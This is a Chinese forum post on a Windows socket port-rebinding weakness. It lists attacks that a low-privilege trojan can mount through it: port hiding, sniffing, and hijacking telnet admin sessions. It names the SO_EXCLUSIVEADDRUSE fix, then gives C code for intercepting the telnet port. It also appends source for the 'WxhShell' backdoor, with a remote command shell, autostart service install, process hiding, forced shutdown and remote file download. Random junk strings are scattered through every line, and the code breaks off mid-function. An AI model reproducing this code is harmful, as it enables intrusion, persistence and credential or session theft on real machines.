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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v~e@:7d i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <:0649ZB  
uFOxb}a9v  
  saddr.sin_family = AF_INET; m5Q,RwJ!xK  
&$tBD@7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `}#(Ze*V:  
uQazUFw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (f^WC,  
3P~I' FQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u@5vK2  
<uDEDb1|l  
  这意味着什么?意味着可以进行如下的攻击: _ fha9`  
"_]n_[t2C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Gf\Dc   
)$Xd#bzD|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A9\m .3jo  
Y,?s-AB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #Mw|h^ Wm  
\c3zK|^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^ }Rqe  
|E-/b6G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 } NW^?37  
NH$%g\GPs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <h:>:%#k  
_+YCwg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i71 ,  
BlUl5mP}>  
  #include #3vq+mcn  
  #include pV{MW#e  
  #include Yh)yp?  
  #include    l:mC'aR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j@1cllJkh  
  int main() {Ak{ ct\t  
  { x=Z\c,@O  
  WORD wVersionRequested; La9v97H:  
  DWORD ret; RpPbjz~  
  WSADATA wsaData; P3V=DOG"  
  BOOL val; xO)vn\uJ  
  SOCKADDR_IN saddr; )k@W 6N  
  SOCKADDR_IN scaddr; vKN"o* q  
  int err; bg;N BoZd  
  SOCKET s; 'b#RfF,7H}  
  SOCKET sc; V{@ xhW0  
  int caddsize; XlIRedZ{  
  HANDLE mt; g\;AU2?p7  
  DWORD tid;   ON#\W>MK?  
  wVersionRequested = MAKEWORD( 2, 2 ); Ry>c]\a]  
  err = WSAStartup( wVersionRequested, &wsaData ); P5/K?I~/So  
  if ( err != 0 ) { ?#?[6t  
  printf("error!WSAStartup failed!\n"); Dz/I"bZLC  
  return -1; jV Yt=j*"V  
  } S o; ;  
  saddr.sin_family = AF_INET; maQE Bi,  
   >yFEUD:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ''Fy]CwH(  
H|_^T.n?E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N|hNh$J[  
  saddr.sin_port = htons(23); k%-_z}:3V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TJFxo? gC"  
  { _h>S7-X  
  printf("error!socket failed!\n"); Rr ! PU  
  return -1; ofbNg_K>  
  } @/h_v#W  
  val = TRUE; S6-)N(3|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @k:f(c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9z7^0Ruw  
  { %^s;{aN*!  
  printf("error!setsockopt failed!\n"); aiVd^(  
  return -1; q<` YJ,  
  } TxAT ))  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &os9K)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9 2_F8y*D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 # D"TY-$.=  
T P'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9n{tbabJ  
  { hZ2!UW4'  
  ret=GetLastError(); F{}mlQg  
  printf("error!bind failed!\n"); iTsmUq<b]l  
  return -1; Qj: D=j8  
  } !GI*R2<W  
  listen(s,2); cmgI,n-o?  
  while(1) ?:l3O_U 5  
  { Awl4*J~  
  caddsize = sizeof(scaddr); *KNj5>6=  
  //接受连接请求 o`S|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UwOZBF<  
  if(sc!=INVALID_SOCKET) .,zrr&Po  
  { =H6"\`W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vaL+@Kq~&  
  if(mt==NULL) (dD+?ZOO  
  { #(& ! ^X3  
  printf("Thread Creat Failed!\n"); usEd p  
  break; 'Lu7cb^  
  } <>/0 ;J1<  
  } PD$XLZ  
  CloseHandle(mt); z =1 J{]  
  } Kp?):6  
  closesocket(s); nEu,1  
  WSACleanup(); !|6M,Rk_  
  return 0; yO Ed8  
  }   MGpP'G:v  
  DWORD WINAPI ClientThread(LPVOID lpParam) D /ysS$!{  
  { vQB;a?)o  
  SOCKET ss = (SOCKET)lpParam; 2RXU75VY  
  SOCKET sc; =H&{*Ja  
  unsigned char buf[4096]; 8 tMfh  
  SOCKADDR_IN saddr; QA?e2kd  
  long num; ;;rEv5 /  
  DWORD val; z%cq%P8g  
  DWORD ret; N,U<.{T=A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bM7y}P5`1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o C0K!{R*  
  saddr.sin_family = AF_INET; [=*c8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rT$J0"*=  
  saddr.sin_port = htons(23); =9$hZ c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gwE#,OY*  
  { WE\@ArY>  
  printf("error!socket failed!\n"); ?U'c;*O-  
  return -1; pN# \  
  } zf-)c1$*r  
  val = 100; S*;8z}5<\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I^|6gaP|6  
  {  fp!Ba  
  ret = GetLastError(); ozN#LIM>P  
  return -1; R2{y1b$l  
  } l`c&nf6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,b;eU[!]  
  { ERcj$ [:T(  
  ret = GetLastError(); O=E"n*U  
  return -1; 9sYN7x  
  } `s HrC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZuZe8&  
  { yZ?|u57  
  printf("error!socket connect failed!\n"); [1{#a {4  
  closesocket(sc); MX!t/&X(n  
  closesocket(ss); gP=(2EVE  
  return -1; mFCDwh]  
  } db$wKvO1  
  while(1) P5 GM s  
  { {p J{UJKv?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ioxs x>e<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gBM6{48GF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RC(fhqV  
  num = recv(ss,buf,4096,0); W*A-CkrO  
  if(num>0) DyeV uB  
  send(sc,buf,num,0); }^r=(  
  else if(num==0) xb/L AlJ  
  break; E__^>=  
  num = recv(sc,buf,4096,0); UeNa  
  if(num>0) SF$'$6x}  
  send(ss,buf,num,0); H}m%=?y@  
  else if(num==0) YC!Tgb~H  
  break; qK}4r5U  
  } l)y$c}U  
  closesocket(ss); t(3<w)r2  
  closesocket(sc); dH4wyd`  
  return 0 ; xXG-yh  
  } a1V+doC  
5IOMc 4v  
'r`#u@TTZ  
========================================================== {m1=#*  
 CZ&VP%  
下边附上一个代码,,WXhSHELL PDN3=PAR/A  
xj 6ht/qq  
========================================================== 'iy &%?  
c_$9z>$  
#include "stdafx.h" gG"W~O)yv  
4w p5ghe  
#include <stdio.h> D)C^'/8q  
#include <string.h> &8VB{S>r  
#include <windows.h> b[+G+V   
#include <winsock2.h> ^7Sk`V  
#include <winsvc.h> [k~V77w 14  
#include <urlmon.h> 4`Com~`6"  
>KF1]/y<  
#pragma comment (lib, "Ws2_32.lib") *n9t~t6GHg  
#pragma comment (lib, "urlmon.lib") so[i"ZM)  
pfd||Z  
#define MAX_USER   100 // 最大客户端连接数 {}F?eI  
#define BUF_SOCK   200 // sock buffer .hI3Uv8[  
#define KEY_BUFF   255 // 输入 buffer Yphru"\$  
1rs`|iX5  
#define REBOOT     0   // 重启 nNbOq[  
#define SHUTDOWN   1   // 关机 RmXC ^VQ  
"#7~}Z B  
#define DEF_PORT   5000 // 监听端口 z"4UObVs  
~!o\uTVr  
#define REG_LEN     16   // 注册表键长度 ^kg[n908Nw  
#define SVC_LEN     80   // NT服务名长度 w74 )kIi  
32DT]{-N!  
// 从dll定义API CXC,@T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QcZ*dI7]:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l| 1O9I0Gd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $dr=M (&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  ByP  
 Fa  
// wxhshell配置信息 $nR1AOm}.B  
struct WSCFG { qmzg68  
  int ws_port;         // 监听端口 h\+U+ ?u  
  char ws_passstr[REG_LEN]; // 口令 oK cgP  
  int ws_autoins;       // 安装标记, 1=yes 0=no l2>ka~  
  char ws_regname[REG_LEN]; // 注册表键名 _Wcr'*7  
  char ws_svcname[REG_LEN]; // 服务名 "`pI! nj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vc}#Ok  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mm7l!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S *3N6*-l"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dz^l6<a"n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1pe eecE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DPENYr  
IyTL|W6  
}; t__UqCq~h  
nCMv&{~  
// default Wxhshell configuration A`E7V}~  
struct WSCFG wscfg={DEF_PORT, qU!*QZ^y&  
    "xuhuanlingzhe", *=]hc@  
    1, (1.E9+MquU  
    "Wxhshell", 2&*r1NXBE  
    "Wxhshell", |\g=ua+h  
            "WxhShell Service", 4] c.mDo[T  
    "Wrsky Windows CmdShell Service", =-#>NlB$w  
    "Please Input Your Password: ", D{h sa  
  1, T;6 VI|\  
  "http://www.wrsky.com/wxhshell.exe", p(EV-^  
  "Wxhshell.exe" )vH6N_  
    }; PoyY}Ra  
 QW  
// 消息定义模块 ;{Cr+lqTJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r:h\{ DVf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OnO56,+S^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <~9z.v7  
char *msg_ws_ext="\n\rExit."; oj.f uJD  
char *msg_ws_end="\n\rQuit."; D ==H{c1F  
char *msg_ws_boot="\n\rReboot..."; U1pL `P1  
char *msg_ws_poff="\n\rShutdown...";  3*@ sp  
char *msg_ws_down="\n\rSave to "; r^3QDoy  
%'2DEt??  
char *msg_ws_err="\n\rErr!"; j{)_&|^{  
char *msg_ws_ok="\n\rOK!"; #X&`gDW  
.h)o\6Wq  
char ExeFile[MAX_PATH]; uyr56  
int nUser = 0; 9 yH/5'  
HANDLE handles[MAX_USER]; <gU^#gsGra  
int OsIsNt; X"V,3gDG  
J7q]|9Hus|  
SERVICE_STATUS       serviceStatus; u&)+~X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "#uXpCuw  
9IFK4>&O6  
// 函数声明 e1'<;;; L  
int Install(void); nSxFz!  
int Uninstall(void); l7G&[\~  
int DownloadFile(char *sURL, SOCKET wsh); o&2(xI2  
int Boot(int flag); x5q5<-#  
void HideProc(void); L"Y_:l3"7  
int GetOsVer(void); x!CCSM;q  
int Wxhshell(SOCKET wsl); ?yKW^,q+  
void TalkWithClient(void *cs); _yje"  
int CmdShell(SOCKET sock); Y8I*B =7  
int StartFromService(void); ya7/&Z )0  
int StartWxhshell(LPSTR lpCmdLine); g70B22!y  
<^j,jX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "b&[W$e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G(7!3a+  
K07b#`NF6  
// 数据结构和表定义 yp%7zrU  
SERVICE_TABLE_ENTRY DispatchTable[] = lp`raN No  
{ 3ZNm,{  
{wscfg.ws_svcname, NTServiceMain}, aa!o::;  
{NULL, NULL} 0pP;[7k\  
}; _8$arjx=  
}eA2y($N  
// 自我安装 ~9.0:Fm<  
int Install(void) HorFQ?8  
{ 9F8"(  
  char svExeFile[MAX_PATH]; f?O?2g  
  HKEY key; ~m~<xtoc  
  strcpy(svExeFile,ExeFile); Wi3:;`>G<p  
Gi})*U]P|  
// 如果是win9x系统,修改注册表设为自启动 %X(iAoxbj  
if(!OsIsNt) { 8,0p14I5;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (8C ,"Dc[0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %<@."uWF*  
  RegCloseKey(key); I_ "1.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w4YuijhW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Xw(|22  
  RegCloseKey(key); BLzl XhHn  
  return 0; #QdBI{2  
    } uW*)B_c  
  } 5c?1JH62o8  
} N%Gb  
else { 5[Sa7Mk  
u~Zx9>f  
// 如果是NT以上系统,安装为系统服务 U~krv> I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tHez S~t_  
if (schSCManager!=0) M*|,05>  
{  5VWyc9Q  
  SC_HANDLE schService = CreateService qKX3Npw  
  ( Zo}O,;(F5  
  schSCManager, ~>:uMXyV2t  
  wscfg.ws_svcname, 2l5>>yY  
  wscfg.ws_svcdisp, };5d>#NK,Y  
  SERVICE_ALL_ACCESS, Opc, {,z6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d>j`|(\  
  SERVICE_AUTO_START, `w@8i[2J  
  SERVICE_ERROR_NORMAL, {DzOXTI[Y  
  svExeFile, R pUq#Y:a  
  NULL, cE3g7(a  
  NULL, Bf37/kkf(  
  NULL, ~(Wq 5<v  
  NULL, Y.9s-g  
  NULL K0hmRR=  
  ); WP/?(%#Y  
  if (schService!=0) eEvE3=,hg  
  { V^9c:!aI  
  CloseServiceHandle(schService); p*F.WxB)4  
  CloseServiceHandle(schSCManager); JHN{vB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b4o`eR  
  strcat(svExeFile,wscfg.ws_svcname); AN-qcp6=o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z_iVOctP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '6Lw<#It  
  RegCloseKey(key); ] B ZSW  
  return 0; pY75S5h:  
    } +6dq+8msF  
  } 0s>ozAJ  
  CloseServiceHandle(schSCManager); |Tn+Aq7  
} VKI`@rY4  
} @w?y;W!a>  
_ISIq3A?  
return 1; wjLtLtK?  
} Tw^b!74gq  
?];?3X~|  
// 自我卸载 /G}TPXA  
int Uninstall(void) /l o;:)AiP  
{ ?)x"+[2  
  HKEY key; hzG+s#  
h B@M5Mc$  
if(!OsIsNt) { b#ih= qE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $\:;N]Cs~0  
  RegDeleteValue(key,wscfg.ws_regname); tGq0f"}'J  
  RegCloseKey(key); W!@*3U]2R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3zdm-5R.b  
  RegDeleteValue(key,wscfg.ws_regname);  R d|#-7  
  RegCloseKey(key); HB+{vuN*L  
  return 0; ei TG  
  } QU&LC  
} QLr.5Wcg>  
} AXK6AZjX  
else { F#<$yUf%  
14U:.Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P*9vs%W  
if (schSCManager!=0) Jat|n97$  
{ 'Ipp1a Z_M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UBj"m<  
  if (schService!=0) ^5{M@o  
  { =t,}I\_^c  
  if(DeleteService(schService)!=0) { C"X; ,F<  
  CloseServiceHandle(schService); NT3Ti ?J,  
  CloseServiceHandle(schSCManager); X:3W9`s )*  
  return 0; -SF *DZ  
  } ;gE]*Y.Z.p  
  CloseServiceHandle(schService); ak_&\'P  
  } S.^/Cl;aj  
  CloseServiceHandle(schSCManager); El9D1],  
}  ' ];|  
} 5Vq&w`sW  
vz{Z tE"  
return 1; m :M=De  
} -OvzEmI"  
w-2?|XvDmf  
// 从指定url下载文件 ;:)1:Dy5  
int DownloadFile(char *sURL, SOCKET wsh) iL vzoQ  
{ G]DSwtB?D  
  HRESULT hr; P&3Z,f0  
char seps[]= "/"; nqnVFkGd9  
char *token; 'h]sq {  
char *file; qj$6/V|D  
char myURL[MAX_PATH]; 5(+9( \x  
char myFILE[MAX_PATH]; N^Bjw?3  
e<.O'!=7Y  
strcpy(myURL,sURL); #KFpT__F  
  token=strtok(myURL,seps); N,oN3mFF  
  while(token!=NULL) "}91wfG9  
  { J.t tJOP  
    file=token; Uu}a! V  
  token=strtok(NULL,seps); ~a5-xWEZ  
  } zJxO\  
`fL81)!jI#  
GetCurrentDirectory(MAX_PATH,myFILE); f>i" j  
strcat(myFILE, "\\"); MPS{MGVjbJ  
strcat(myFILE, file); jE.yT(+lW  
  send(wsh,myFILE,strlen(myFILE),0); j$%uip{  
send(wsh,"...",3,0); I4Y; 9Gg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hea76P5$P+  
  if(hr==S_OK) udld[f.  
return 0; S*0P[R  
else \NgBF  
return 1; |^&j'k+A  
S|_}0  
} +DpiX&^h   
df'xx)kW  
// 系统电源模块 =xf7lN'  
int Boot(int flag) |o5F%1o  
{ ]TTQ;F  
  HANDLE hToken; &OXnZT3P  
  TOKEN_PRIVILEGES tkp; 0/g 0=dW=  
kN'.e*  
  if(OsIsNt) { KcW]"K>p!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F:vHbs `y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {&qB!axj  
    tkp.PrivilegeCount = 1; VQMPs{tm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dM^1O-K:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }}cS-p  
if(flag==REBOOT) { 1vmK  d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HHZGu8tzt  
  return 0; $%%K9Y  
} 0</]Jo%  
else { `g~T #U\>d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S,'y L7s  
  return 0; =Y-ZI  
} N8-!}\,  
  } bq}hj Cy  
  else { ^kF-mM=  
if(flag==REBOOT) { }2X"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n>5/y c"/q  
  return 0; #xlT,:_:)  
} H:x{qS4Si  
else { ivi,/~L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HAHLF+k  
  return 0; j)vfI>  
} 1~|o@CO  
} 8}A+{xVp8  
J8>8@m6  
return 1; :RqTbE4B  
} 3u tJlD  
xi!CZNz  
// win9x进程隐藏模块 7YLG<G!v)]  
void HideProc(void) KK|AXoBf  
{ {dk%j~w8  
$Qc`4x;N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  q\xT  
  if ( hKernel != NULL ) L)!9+!PKD  
  { AD=qB5:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  HuCzXl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VD).UdUn  
    FreeLibrary(hKernel); \A ?B{*  
  } ([+u U!  
j1sZRl)D  
return; ar#Xe;T!  
} u5LrZt]k  
EU0b>2n4  
// 获取操作系统版本 FkS$x'~2$  
int GetOsVer(void) >3J?O96|f  
{ >w}5\ 4j  
  OSVERSIONINFO winfo; x U1](O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ux 7^PTgcO  
  GetVersionEx(&winfo); Te:4 z@?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L]_1z  
  return 1; 1lf 5xm.  
  else  6[{|'  
  return 0; q!sazVaDp  
} =D@+_7\?  
6y4&nTq[  
// 客户端句柄模块 x9NcIa9  
int Wxhshell(SOCKET wsl) T]#S=]G  
{ <NVSF6`  
  SOCKET wsh; 7"iUyZ(  
  struct sockaddr_in client; Oapv`Z\i~  
  DWORD myID; GIyb0XjTw  
"B^c  
  while(nUser<MAX_USER) SBNeN]  
{ 4J"S?HsW|  
  int nSize=sizeof(client); Km=dId7]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .Zzx W  
  if(wsh==INVALID_SOCKET) return 1; K:osfd  
Q`Z=}^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +wwb+aG6{  
if(handles[nUser]==0) 2y t)"DnFk  
  closesocket(wsh); 7v8V0Gp  
else ?df*Y5I2  
  nUser++; @'Y^A  
  } s_j ?L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >&mNC \PA  
=jWcD{;1I}  
  return 0; 63EwV p/|  
} - %5O:n  
9 K.B  
// 关闭 socket !T<4em8  
void CloseIt(SOCKET wsh) U<aT%^_  
{ Rx}*I00  
closesocket(wsh); >*v P*H:P  
nUser--; 7tEkQZMDI  
ExitThread(0); `o;E  
} vfn _Nq;  
_3_kvs  
// 客户端请求句柄 L T.u<ThR}  
void TalkWithClient(void *cs) LrL ZlJf  
{ KO~_  
:L E&p[^  
  SOCKET wsh=(SOCKET)cs; a(qij&>  
  char pwd[SVC_LEN]; ;nDCyn4i]  
  char cmd[KEY_BUFF]; 3kc.U  
char chr[1]; LxcC5/@\~(  
int i,j; VD,p<u{r  
PGE|){ <  
  while (nUser < MAX_USER) { #2XX[d%  
_~=qByD   
if(wscfg.ws_passstr) { !(-lY(x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gYtv`O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *j9hjq0j  
  //ZeroMemory(pwd,KEY_BUFF); Hw(_l,Xf  
      i=0; "k0bj>  
  while(i<SVC_LEN) { zn=Ifz)#|  
YEg(QOn3Q  
  // 设置超时 K ]  
  fd_set FdRead; g"F&~y/p  
  struct timeval TimeOut; +kMVl_` V  
  FD_ZERO(&FdRead); ;g:!WXd  
  FD_SET(wsh,&FdRead); Q"@x,8xW  
  TimeOut.tv_sec=8; _ yu d  
  TimeOut.tv_usec=0; =tS1|_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^iHwv*ss  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t,f)!D$  
'UW(0 PXw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q$<M2  
  pwd=chr[0]; .:`+4n  
  if(chr[0]==0xd || chr[0]==0xa) { 7;w x,7CUq  
  pwd=0; OIqisQ7ZB  
  break; CXe2G5  
  } C`++r>  
  i++; _gGI&0(VM  
    } vjzpU(Sq#  
vz[-8m:f  
  // 如果是非法用户,关闭 socket =}$YZuzmU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?3 #W7sF  
} [b=l'e/  
c6;326aD q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3p%B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P_[A  
4dB6cg  
while(1) { "X.JD  
iK(G t6w  
  ZeroMemory(cmd,KEY_BUFF); $wQkTx  
>\/H2j  
      // 自动支持客户端 telnet标准   h0=Q.Yz6  
  j=0; (F<VcB  
  while(j<KEY_BUFF) { 0Bo7EV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?tf/#5t}  
  cmd[j]=chr[0]; 5q.d$K |  
  if(chr[0]==0xa || chr[0]==0xd) { >BDK?YMx  
  cmd[j]=0; FLqF!N\G  
  break;  L$Uy  
  } :skNEY].  
  j++; V[w Y;wj  
    } %y{f] m  
':mw(`  
  // 下载文件 T~238C{vh  
  if(strstr(cmd,"http://")) { u(Y! _  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0L ^WTq  
  if(DownloadFile(cmd,wsh)) -$@$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +5zLQ>]z  
  else d-W@/J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T;4& ^5 n  
  } i>]1E^yF  
  else {  wfecM(  
7M|!N_ $  
    switch(cmd[0]) { aZk/\&=6  
  &pL.hM^  
  // 帮助 :75$e%'A  
  case '?': { gH0' Ok'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7lC );  
    break; j[^(<R8  
  } a-A>A_.  
  // 安装 rzR=% >  
  case 'i': { C9,|G7~*q  
    if(Install()) (O$PJLI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NFVr$?P  
    else 61XLL/=P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ve]ufn6  
    break; e(5 :XHe  
    } :jJ;&t^^  
  // 卸载 #[Z1W8e  
  case 'r': { (P+TOu-y\  
    if(Uninstall()) +*O$]Hh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >nqDUGnEo>  
    else v>p UVM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U #u=9%'  
    break; 3?R56$-+  
    } z]^u@]@NC  
  // 显示 wxhshell 所在路径 B8f BX!u/  
  case 'p': { <l:c O$ m  
    char svExeFile[MAX_PATH]; (O&R-5m  
    strcpy(svExeFile,"\n\r"); s>RtCw3,  
      strcat(svExeFile,ExeFile); ^:Mal[IR  
        send(wsh,svExeFile,strlen(svExeFile),0); JQo"<<[  
    break; bv NXA*0  
    } V!|:rwG2  
  // 重启 p#]D-?CM)  
  case 'b': { E`"<t:RzF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c}QWa"\2n  
    if(Boot(REBOOT)) lBYc(cr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); feSj3,<!  
    else { \V1geSoE  
    closesocket(wsh); 4 8}\  
    ExitThread(0); 2j*+^&M/  
    } 1TOT}h5  
    break; ! H^,p$`[i  
    } 5t,W'a_  
  // 关机 +1te8P*  
  case 'd': { Q^B !^_M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b3zxiq x  
    if(Boot(SHUTDOWN)) s`Y8 &e.Yr  
